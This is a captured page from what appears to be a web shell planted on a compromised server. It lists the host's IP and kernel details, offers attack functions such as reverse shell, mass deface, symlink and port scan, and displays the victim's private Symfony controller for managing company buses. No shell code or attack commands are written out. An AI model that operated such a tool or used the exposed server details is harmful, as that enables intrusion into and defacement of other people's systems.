ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: CompanyBusController.php
<?php namespace AppBundle\Controller\Api; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use FOS\RestBundle\Controller\Annotations as Rest; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Nelmio\ApiDocBundle\Annotation as Doc; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security; use AppBundle\Entity\Bus; use AppBundle\Entity\Company; use AppBundle\Form\BusType; class CompanyBusController extends Controller { /** * @Rest\Get("/companies/{companyId}/buses") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST"} * ) */ public function listAction(Company $company) { //TODO $buses = $this ->getDoctrine() ->getRepository('AppBundle:Bus') ->findByCompany($company); return $buses; } /** * Get one bus * * @Rest\Get("/companies/{companyId}/buses/{busId}") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST", "BUS_DETAILS"} * ) * @Doc\ApiDoc( * section="Buses of a company", * resource=true, * description="Get one bus for a company.", * ) */ public function showAction(Company $company, Bus $bus) { //TODO if ($bus->getCompany() != $company) { return new JsonResponse(['error' => 'This bus does not belong to this company '], Response::HTTP_FORBIDDEN); } return $bus; } /** * Create a new bus * * @Rest\Post("/companies/{companyId}/buses") * @Rest\View( * statusCode = Response::HTTP_CREATED, * SerializerGroups = {"LIST", "BUS_DETAILS"} * ) * @Doc\ApiDoc( * section="Buses of a company", * resource=true, * description="Create a bus for a company.", * input = { * "class"="AppBundle\Form\BusType", * }, * ) * @Security("has_role('ROLE_STAFF') or has_role('ROLE_AGENCY_ADMIN')") */ public function createAction(Request $request, Company $company) { //TODO $bus = new Bus(); $form = $this->createForm(BusType::class, $bus); $form->submit($request->request->all(), false); $listErrors = $this->get('validator')->validate($bus); if (count($listErrors)) { return $this->view($listErrors, Response::HTTP_BAD_REQUEST); } $bus->setCompany($company); $em = $this ->getDoctrine() ->getManager(); $em->persist($bus); $em->flush(); return $bus; } /** * Update a bus * * @Rest\Put("/companies/{companyId}/buses/{busId}") * @Rest\View( * statusCode = Response::HTTP_ACCEPTED, * SerializerGroups = {"LIST", "BUS_DETAILS"} * ) * @Doc\ApiDoc( * section="Buses of a company", * resource=true, * description="Update a bus.", * input = { * "class"="AppBundle\Form\BusType", * }, * ) * @Security("has_role('ROLE_STAFF') or has_role('ROLE_AGENCY_ADMIN')") */ public function updateAction(Request $request, Company $company, Bus $bus) { $form = $this->createForm(BusType::class, $bus); $form->submit($request->request->all(), false); $listErrors = $this->get('validator')->validate($bus); if (count($listErrors)) { return $this->view($listErrors, Response::HTTP_BAD_REQUEST); } $em = $this ->getDoctrine() ->getManager(); $em->flush(); return $bus; } /** * Delete a bus * * @Rest\Put("/companies/{companyId}/buses/{busId}") * @Rest\View( * statusCode = Response::HTTP_ACCEPTED, * SerializerGroups = {"LIST", "BUS_DETAILS"} * ) * @Doc\ApiDoc( * section="Buses of a company", * resource=true, * description="Deactivates a bus. Same as setting the field isActive to false via an update", * input = { * "class"="AppBundle\Form\BusType", * }, * ) * @Security("has_role('ROLE_STAFF') or has_role('ROLE_AGENCY_ADMIN')") */ public function deleteAction(Bus $bus) { $bus->setIsActive(false); $em = $this ->getDoctrine() ->getManager(); $em->flush(); return $bus; } }
Coded With 💗 by
0x6ick